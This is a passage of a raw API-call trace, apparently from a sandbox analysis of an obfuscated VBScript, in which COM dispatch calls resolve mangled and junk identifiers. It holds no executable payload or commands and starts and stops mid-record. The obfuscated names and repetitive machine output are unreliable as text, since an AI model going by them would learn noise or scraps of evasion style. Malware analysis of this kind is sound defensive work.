ppvObject=0x14c3ac | out: ppvObject=0x14c3ac*=0x1197760) returned 0x0 [0065.692] IDispatchEx:GetDispId (in: This=0x1197760, bstrName="OBJ1KEY", grfdex=0x8, pid=0x14c3c8 | out: pid=0x14c3c8*=1361072) returned 0x80020006 [0065.692] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd2c8, bstrName="OBJ1KEY", grfdex=0x8, pid=0x14c320 | out: pid=0x14c320*=-1) returned 0x80020006 [0065.692] GetCurrentThreadId () returned 0xd44 [0065.692] IUnknown:Release (This=0x1197760) returned 0x5 [0065.692] IUnknown:QueryInterface (in: This=0x1197760, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14c3ac | out: ppvObject=0x14c3ac*=0x1197760) returned 0x0 [0065.692] IDispatchEx:GetDispId (in: This=0x1197760, bstrName="OBJM1ATCHES", grfdex=0x8, pid=0x14c3c8 | out: pid=0x14c3c8*=1361072) returned 0x80020006 [0065.692] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd2c8, bstrName="OBJM1ATCHES", grfdex=0x8, pid=0x14c320 | out: pid=0x14c320*=-1) returned 0x80020006 [0065.692] GetCurrentThreadId () returned 0xd44 [0065.692] IUnknown:Release (This=0x1197760) returned 0x5 [0065.693] IUnknown:QueryInterface (in: This=0x1197760, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14c3ac | out: ppvObject=0x14c3ac*=0x1197760) returned 0x0 [0065.693] IDispatchEx:GetDispId (in: This=0x1197760, bstrName="OBJM1ATCHES2", grfdex=0x8, pid=0x14c3c8 | out: pid=0x14c3c8*=1361072) returned 0x80020006 [0065.693] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd2c8, bstrName="OBJM1ATCHES2", grfdex=0x8, pid=0x14c320 | out: pid=0x14c320*=-1) returned 0x80020006 [0065.693] GetCurrentThreadId () returned 0xd44 [0065.693] IUnknown:Release (This=0x1197760) returned 0x5 [0065.693] IUnknown:QueryInterface (in: This=0x1197760, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14c3ac | out: ppvObject=0x14c3ac*=0x1197760) returned 0x0 [0065.693] IDispatchEx:GetDispId (in: This=0x1197760, bstrName="STRALP1HABET", grfdex=0x8, pid=0x14c3c8 | out: pid=0x14c3c8*=1361072) returned 0x80020006 [0065.693] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd2c8, bstrName="STRALP1HABET", grfdex=0x8, pid=0x14c320 | out: pid=0x14c320*=-1) returned 0x80020006 [0065.693] GetCurrentThreadId () returned 0xd44 [0065.693] IUnknown:Release (This=0x1197760) returned 0x5 [0065.693] malloc (_Size=0x2004) returned 0x87e3d78 [0065.693] IUnknown:QueryInterface (in: This=0x1197760, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14c3ac | out: ppvObject=0x14c3ac*=0x1197760) returned 0x0 [0065.694] IDispatchEx:GetDispId (in: This=0x1197760, bstrName="STR1ARG", grfdex=0x8, pid=0x14c3c8 | out: pid=0x14c3c8*=1361072) returned 0x80020006 [0065.694] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd2c8, bstrName="STR1ARG", grfdex=0x8, pid=0x14c320 | out: pid=0x14c320*=-1) returned 0x80020006 [0065.694] GetCurrentThreadId () returned 0xd44 [0065.694] IUnknown:Release (This=0x1197760) returned 0x5 [0065.694] IUnknown:QueryInterface (in: This=0x1197760, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14c3ac | out: ppvObject=0x14c3ac*=0x1197760) returned 0x0 [0065.694] IDispatchEx:GetDispId (in: This=0x1197760, bstrName="STRC1LASS", grfdex=0x8, pid=0x14c3c8 | out: pid=0x14c3c8*=1361072) returned 0x80020006 [0065.694] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd2c8, bstrName="STRC1LASS", grfdex=0x8, pid=0x14c320 | out: pid=0x14c320*=-1) returned 0x80020006 [0065.694] GetCurrentThreadId () returned 0xd44 [0065.694] IUnknown:Release (This=0x1197760) returned 0x5 [0065.694] IUnknown:QueryInterface (in: This=0x1197760, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14c3ac | out: ppvObject=0x14c3ac*=0x1197760) returned 0x0 [0065.694] IDispatchEx:GetDispId (in: This=0x1197760, bstrName="STRCM1DINFO", grfdex=0x8, pid=0x14c3c8 | out: pid=0x14c3c8*=1361072) returned 0x80020006 [0065.694] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd2c8, bstrName="STRCM1DINFO", grfdex=0x8, pid=0x14c320 | out: pid=0x14c320*=-1) returned 0x80020006 [0065.695] GetCurrentThreadId () returned 0xd44 [0065.695] IUnknown:Release (This=0x1197760) returned 0x5 [0065.695] IUnknown:QueryInterface (in: This=0x1197760, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14c3ac | out: ppvObject=0x14c3ac*=0x1197760) returned 0x0 [0065.695] IDispatchEx:GetDispId (in: This=0x1197760, bstrName="STRCOM1MAND", grfdex=0x8, pid=0x14c3c8 | out: pid=0x14c3c8*=1361072) returned 0x80020006 [0065.695] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd2c8, bstrName="STRCOM1MAND", grfdex=0x8, pid=0x14c320 | out: pid=0x14c320*=-1) returned 0x80020006 [0065.695] GetCurrentThreadId () returned 0xd44 [0065.695] IUnknown:Release (This=0x1197760) returned 0x5 [0065.695] IUnknown:QueryInterface (in: This=0x1197760, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14c3ac | out: ppvObject=0x14c3ac*=0x1197760) returned 0x0 [0065.695] IDispatchEx:GetDispId (in: This=0x1197760, bstrName="STRCOMM1ANDLINE", grfdex=0x8, pid=0x14c3c8 | out: pid=0x14c3c8*=1361072) returned 0x80020006 [0065.695] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd2c8, bstrName="STRCOMM1ANDLINE", grfdex=0x8, pid=0x14c320 | out: pid=0x14c320*=-1) returned 0x80020006 [0065.695] GetCurrentThreadId () returned 0xd44 [0065.695] IUnknown:Release (This=0x1197760) returned 0x5 [0065.695] IUnknown:QueryInterface (in: This=0x1197760, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14c3ac | out: ppvObject=0x14c3ac*=0x1197760) returned 0x0 [0065.696] IDispatchEx:GetDispId (in: This=0x1197760, bstrName="STRCO1MSPEC", grfdex=0x8, pid=0x14c3c8 | out: pid=0x14c3c8*=1361072) returned 0x80020006 [0065.696] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd2c8, bstrName="STRCO1MSPEC", grfdex=0x8, pid=0x14c320 | out: pid=0x14c320*=-1) returned 0x80020006 [0065.696] GetCurrentThreadId () returned 0xd44 [0065.696] IUnknown:Release (This=0x1197760) returned 0x5 [0065.696] IUnknown:QueryInterface (in: This=0x1197760, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14c3ac | out: ppvObject=0x14c3ac*=0x1197760) returned 0x0 [0065.696] IDispatchEx:GetDispId (in: This=0x1197760, bstrName="STRC1SDVER", grfdex=0x8, pid=0x14c3c8 | out: pid=0x14c3c8*=1361072) returned 0x80020006 [0065.696] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd2c8, bstrName="STRC1SDVER", grfdex=0x8, pid=0x14c320 | out: pid=0x14c320*=-1) returned 0x80020006 [0065.696] GetCurrentThreadId () returned 0xd44 [0065.696] IUnknown:Release (This=0x1197760) returned 0x5 [0065.696] IUnknown:QueryInterface (in: This=0x1197760, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14c3ac | out: ppvObject=0x14c3ac*=0x1197760) returned 0x0 [0065.696] IDispatchEx:GetDispId (in: This=0x1197760, bstrName="STR1FILE", grfdex=0x8, pid=0x14c3c8 | out: pid=0x14c3c8*=1361072) returned 0x80020006 [0065.696] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd2c8, bstrName="STR1FILE", grfdex=0x8, pid=0x14c320 | out: pid=0x14c320*=-1) returned 0x80020006 [0065.696] GetCurrentThreadId () returned 0xd44 [0065.697] IUnknown:Release (This=0x1197760) returned 0x5 [0065.697] IUnknown:QueryInterface (in: This=0x1197760, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14c3ac | out: ppvObject=0x14c3ac*=0x1197760) returned 0x0 [0065.697] IDispatchEx:GetDispId (in: This=0x1197760, bstrName="STRF1ILEVER", grfdex=0x8, pid=0x14c3c8 | out: pid=0x14c3c8*=1361072) returned 0x80020006 [0065.697] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd2c8, bstrName="STRF1ILEVER", grfdex=0x8, pid=0x14c320 | out: pid=0x14c320*=-1) returned 0x80020006 [0065.697] GetCurrentThreadId () returned 0xd44 [0065.697] IUnknown:Release (This=0x1197760) returned 0x5 [0065.697] IUnknown:QueryInterface (in: This=0x1197760, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14c3ac | out: ppvObject=0x14c3ac*=0x1197760) returned 0x0 [0065.697] IDispatchEx:GetDispId (in: This=0x1197760, bstrName="STRDEBU1GLOG", grfdex=0x8, pid=0x14c3c8 | out: pid=0x14c3c8*=1361072) returned 0x80020006 [0065.697] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd2c8, bstrName="STRDEBU1GLOG", grfdex=0x8, pid=0x14c320 | out: pid=0x14c320*=-1) returned 0x80020006 [0065.697] GetCurrentThreadId () returned 0xd44 [0065.697] IUnknown:Release (This=0x1197760) returned 0x5 [0065.697] IUnknown:QueryInterface (in: This=0x1197760, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14c3ac | out: ppvObject=0x14c3ac*=0x1197760) returned 0x0 [0065.698] IDispatchEx:GetDispId (in: This=0x1197760, bstrName="STRFIRSTLE1TTER", grfdex=0x8, pid=0x14c3c8 | out: pid=0x14c3c8*=1361072) returned 0x80020006 [0065.698] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd2c8, bstrName="STRFIRSTLE1TTER", grfdex=0x8, pid=0x14c320 | out: pid=0x14c320*=-1) returned 0x80020006 [0065.698] GetCurrentThreadId () returned 0xd44 [0065.698] IUnknown:Release (This=0x1197760) returned 0x5 [0065.698] IUnknown:QueryInterface (in: This=0x1197760, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14c3ac | out: ppvObject=0x14c3ac*=0x1197760) returned 0x0 [0065.698] IDispatchEx:GetDispId (in: This=0x1197760, bstrName="STRHE1LPALL", grfdex=0x8, pid=0x14c3c8 | out: pid=0x14c3c8*=1361072) returned 0x80020006 [0065.698] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd2c8, bstrName="STRHE1LPALL", grfdex=0x8, pid=0x14c320 | out: pid=0x14c320*=-1) returned 0x80020006 [0065.698] GetCurrentThreadId () returned 0xd44 [0065.698] IUnknown:Release (This=0x1197760) returned 0x5 [0065.698] IUnknown:QueryInterface (in: This=0x1197760, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14c3ac | out: ppvObject=0x14c3ac*=0x1197760) returned 0x0 [0065.698] IDispatchEx:GetDispId (in: This=0x1197760, bstrName="STRHELP1LONG", grfdex=0x8, pid=0x14c3c8 | out: pid=0x14c3c8*=1361072) returned 0x80020006 [0065.699] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd2c8, bstrName="STRHELP1LONG", grfdex=0x8, pid=0x14c320 | out: pid=0x14c320*=-1) returned 0x80020006 [0065.699] GetCurrentThreadId () returned 0xd44 [0065.699] IUnknown:Release (This=0x1197760) returned 0x5 [0065.699] IUnknown:QueryInterface (in: This=0x1197760, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14c3ac | out: ppvObject=0x14c3ac*=0x1197760) returned 0x0 [0065.699] IDispatchEx:GetDispId (in: This=0x1197760, bstrName="STRHELP1SHORT", grfdex=0x8, pid=0x14c3c8 | out: pid=0x14c3c8*=1361072) returned 0x80020006 [0065.699] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd2c8, bstrName="STRHELP1SHORT", grfdex=0x8, pid=0x14c320 | out: pid=0x14c320*=-1) returned 0x80020006 [0065.699] GetCurrentThreadId () returned 0xd44 [0065.699] IUnknown:Release (This=0x1197760) returned 0x5 [0065.699] IUnknown:QueryInterface (in: This=0x1197760, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14c3ac | out: ppvObject=0x14c3ac*=0x1197760) returned 0x0 [0065.699] IDispatchEx:GetDispId (in: This=0x1197760, bstrName="STR1HEAD", grfdex=0x8, pid=0x14c3c8 | out: pid=0x14c3c8*=1361072) returned 0x80020006 [0065.699] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd2c8, bstrName="STR1HEAD", grfdex=0x8, pid=0x14c320 | out: pid=0x14c320*=-1) returned 0x80020006 [0065.699] GetCurrentThreadId () returned 0xd44 [0065.699] IUnknown:Release (This=0x1197760) returned 0x5 [0065.700] IUnknown:QueryInterface (in: This=0x1197760, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14c3ac | out: ppvObject=0x14c3ac*=0x1197760) returned 0x0 [0065.700] IDispatchEx:GetDispId (in: This=0x1197760, bstrName="STR1HTML", grfdex=0x8, pid=0x14c3c8 | out: pid=0x14c3c8*=1361072) returned 0x80020006 [0065.700] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd2c8, bstrName="STR1HTML", grfdex=0x8, pid=0x14c320 | out: pid=0x14c320*=-1) returned 0x80020006 [0065.700] GetCurrentThreadId () returned 0xd44 [0065.700] IUnknown:Release (This=0x1197760) returned 0x5 [0065.700] IUnknown:QueryInterface (in: This=0x1197760, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14c3ac | out: ppvObject=0x14c3ac*=0x1197760) returned 0x0 [0065.700] IDispatchEx:GetDispId (in: This=0x1197760, bstrName="ST1RMSG", grfdex=0x8, pid=0x14c3c8 | out: pid=0x14c3c8*=1361072) returned 0x80020006 [0065.700] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd2c8, bstrName="ST1RMSG", grfdex=0x8, pid=0x14c320 | out: pid=0x14c320*=-1) returned 0x80020006 [0065.700] GetCurrentThreadId () returned 0xd44 [0065.700] IUnknown:Release (This=0x1197760) returned 0x5 [0065.700] IUnknown:QueryInterface (in: This=0x1197760, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14c3ac | out: ppvObject=0x14c3ac*=0x1197760) returned 0x0 [0065.700] IDispatchEx:GetDispId (in: This=0x1197760, bstrName="STRN1UMVER", grfdex=0x8, pid=0x14c3c8 | out: pid=0x14c3c8*=1361072) returned 0x80020006 [0065.701] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd2c8, bstrName="STRN1UMVER", grfdex=0x8, pid=0x14c320 | out: pid=0x14c320*=-1) returned 0x80020006 [0065.701] GetCurrentThreadId () returned 0xd44 [0065.701] IUnknown:Release (This=0x1197760) returned 0x5 [0065.701] IUnknown:QueryInterface (in: This=0x1197760, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14c3ac | out: ppvObject=0x14c3ac*=0x1197760) returned 0x0 [0065.701] IDispatchEx:GetDispId (in: This=0x1197760, bstrName="STROSL1OCL", grfdex=0x8, pid=0x14c3c8 | out: pid=0x14c3c8*=1361072) returned 0x80020006 [0065.701] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd2c8, bstrName="STROSL1OCL", grfdex=0x8, pid=0x14c320 | out: pid=0x14c320*=-1) returned 0x80020006 [0065.701] GetCurrentThreadId () returned 0xd44 [0065.701] IUnknown:Release (This=0x1197760) returned 0x5 [0065.701] IUnknown:QueryInterface (in: This=0x1197760, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14c3ac | out: ppvObject=0x14c3ac*=0x1197760) returned 0x0 [0065.701] IDispatchEx:GetDispId (in: This=0x1197760, bstrName="STRP1ATTERN", grfdex=0x8, pid=0x14c3c8 | out: pid=0x14c3c8*=1361072) returned 0x80020006 [0065.701] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd2c8, bstrName="STRP1ATTERN", grfdex=0x8, pid=0x14c320 | out: pid=0x14c320*=-1) returned 0x80020006 [0065.701] GetCurrentThreadId () returned 0xd44 [0065.701] IUnknown:Release (This=0x1197760) returned 0x5 [0065.701] IUnknown:QueryInterface (in: This=0x1197760, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14c3ac | out: ppvObject=0x14c3ac*=0x1197760) returned 0x0 [0065.702] IDispatchEx:GetDispId (in: This=0x1197760, bstrName="STRPREVIOU1SLETTER", grfdex=0x8, pid=0x14c3c8 | out: pid=0x14c3c8*=1361072) returned 0x80020006 [0065.702] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd2c8, bstrName="STRPREVIOU1SLETTER", grfdex=0x8, pid=0x14c320 | out: pid=0x14c320*=-1) returned 0x80020006 [0065.702] GetCurrentThreadId () returned 0xd44 [0065.702] IUnknown:Release (This=0x1197760) returned 0x5 [0065.702] IUnknown:QueryInterface (in: This=0x1197760, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14c3ac | out: ppvObject=0x14c3ac*=0x1197760) returned 0x0 [0065.702] IDispatchEx:GetDispId (in: This=0x1197760, bstrName="STRSCRI1PTENGINE", grfdex=0x8, pid=0x14c3c8 | out: pid=0x14c3c8*=1361072) returned 0x80020006 [0065.702] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd2c8, bstrName="STRSCRI1PTENGINE", grfdex=0x8, pid=0x14c320 | out: pid=0x14c320*=-1) returned 0x80020006 [0065.702] GetCurrentThreadId () returned 0xd44 [0065.702] IUnknown:Release (This=0x1197760) returned 0x5 [0065.702] IUnknown:QueryInterface (in: This=0x1197760, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14c3ac | out: ppvObject=0x14c3ac*=0x1197760) returned 0x0 [0065.702] IDispatchEx:GetDispId (in: This=0x1197760, bstrName="STRSCRIP1TPATH", grfdex=0x8, pid=0x14c3c8 | out: pid=0x14c3c8*=1361072) returned 0x80020006 [0065.702] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd2c8, bstrName="STRSCRIP1TPATH", grfdex=0x8, pid=0x14c320 | out: pid=0x14c320*=-1) returned 0x80020006 [0065.702] GetCurrentThreadId () returned 0xd44 [0065.702] IUnknown:Release (This=0x1197760) returned 0x5 [0065.703] IUnknown:QueryInterface (in: This=0x1197760, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14c3ac | out: ppvObject=0x14c3ac*=0x1197760) returned 0x0 [0065.703] IDispatchEx:GetDispId (in: This=0x1197760, bstrName="STRSC1RIPTVER", grfdex=0x8, pid=0x14c3c8 | out: pid=0x14c3c8*=1361072) returned 0x80020006 [0065.703] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd2c8, bstrName="STRSC1RIPTVER", grfdex=0x8, pid=0x14c320 | out: pid=0x14c320*=-1) returned 0x80020006 [0065.703] GetCurrentThreadId () returned 0xd44 [0065.703] IUnknown:Release (This=0x1197760) returned 0x5 [0065.703] IUnknown:QueryInterface (in: This=0x1197760, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14c3ac | out: ppvObject=0x14c3ac*=0x1197760) returned 0x0 [0065.703] IDispatchEx:GetDispId (in: This=0x1197760, bstrName="STRUN1KNOWNCOMMAND", grfdex=0x8, pid=0x14c3c8 | out: pid=0x14c3c8*=1361072) returned 0x80020006 [0065.703] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd2c8, bstrName="STRUN1KNOWNCOMMAND", grfdex=0x8, pid=0x14c320 | out: pid=0x14c320*=-1) returned 0x80020006 [0065.703] GetCurrentThreadId () returned 0xd44 [0065.703] IUnknown:Release (This=0x1197760) returned 0x5 [0065.703] IUnknown:QueryInterface (in: This=0x1197760, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14c3ac | out: ppvObject=0x14c3ac*=0x1197760) returned 0x0 [0065.703] IDispatchEx:GetDispId (in: This=0x1197760, bstrName="STRWI1NVER", grfdex=0x8, pid=0x14c3c8 | out: pid=0x14c3c8*=1361072) returned 0x80020006 [0065.703] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd2c8, bstrName="STRWI1NVER", grfdex=0x8, pid=0x14c320 | out: pid=0x14c320*=-1) returned 0x80020006 [0065.703] GetCurrentThreadId () returned 0xd44 [0065.704] IUnknown:Release (This=0x1197760) returned 0x5 [0065.704] IUnknown:QueryInterface (in: This=0x1197760, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14c324 | out: ppvObject=0x14c324*=0x1197760) returned 0x0 [0065.704] IDispatchEx:GetDispId (in: This=0x1197760, bstrName="fsdfdsfs", grfdex=0x8, pid=0x14c340 | out: pid=0x14c340*=1360796) returned 0x80020006 [0065.704] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd2c8, bstrName="fsdfdsfs", grfdex=0x8, pid=0x14c298 | out: pid=0x14c298*=-1) returned 0x80020006 [0065.704] GetCurrentThreadId () returned 0xd44 [0065.704] IUnknown:Release (This=0x1197760) returned 0x5 [0065.704] IUnknown:QueryInterface (in: This=0x1197760, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14c324 | out: ppvObject=0x14c324*=0x1197760) returned 0x0 [0065.704] IDispatchEx:GetDispId (in: This=0x1197760, bstrName="yulkytjtrhtjrkdsarjky", grfdex=0x8, pid=0x14c340 | out: pid=0x14c340*=1360796) returned 0x80020006 [0065.704] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd2c8, bstrName="yulkytjtrhtjrkdsarjky", grfdex=0x8, pid=0x14c298 | out: pid=0x14c298*=-1) returned 0x80020006 [0065.704] GetCurrentThreadId () returned 0xd44 [0065.704] IUnknown:Release (This=0x1197760) returned 0x5 [0065.705] IUnknown:QueryInterface (in: This=0x1197760, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14c324 | out: ppvObject=0x14c324*=0x1197760) returned 0x0 [0065.705] IDispatchEx:GetDispId (in: This=0x1197760, bstrName="veuifeig23e02i3r029u4r43j89uotjf893jt", grfdex=0x8, pid=0x14c340 | out: pid=0x14c340*=1360796) returned 0x80020006 [0065.705] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd2c8, bstrName="veuifeig23e02i3r029u4r43j89uotjf893jt", grfdex=0x8, pid=0x14c298 | out: pid=0x14c298*=-1) returned 0x80020006 [0065.705] GetCurrentThreadId () returned 0xd44 [0065.705] IUnknown:Release (This=0x1197760) returned 0x5 [0065.721] IUnknown:QueryInterface (in: This=0x1197760, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14c324 | out: ppvObject=0x14c324*=0x1197760) returned 0x0 [0065.721] IDispatchEx:GetDispId (in: This=0x1197760, bstrName="wslausfychks", grfdex=0x8, pid=0x14c340 | out: pid=0x14c340*=1360796) returned 0x80020006 [0065.721] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd2c8, bstrName="wslausfychks", grfdex=0x8, pid=0x14c298 | out: pid=0x14c298*=-1) returned 0x80020006 [0065.721] GetCurrentThreadId () returned 0xd44 [0065.721] IUnknown:Release (This=0x1197760) returned 0x5 [0065.724] ??2@YAPAXI@Z () returned 0x11c7a60 [0065.725] IUnknown:QueryInterface (in: This=0x1197760, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14c324 | out: ppvObject=0x14c324*=0x1197760) returned 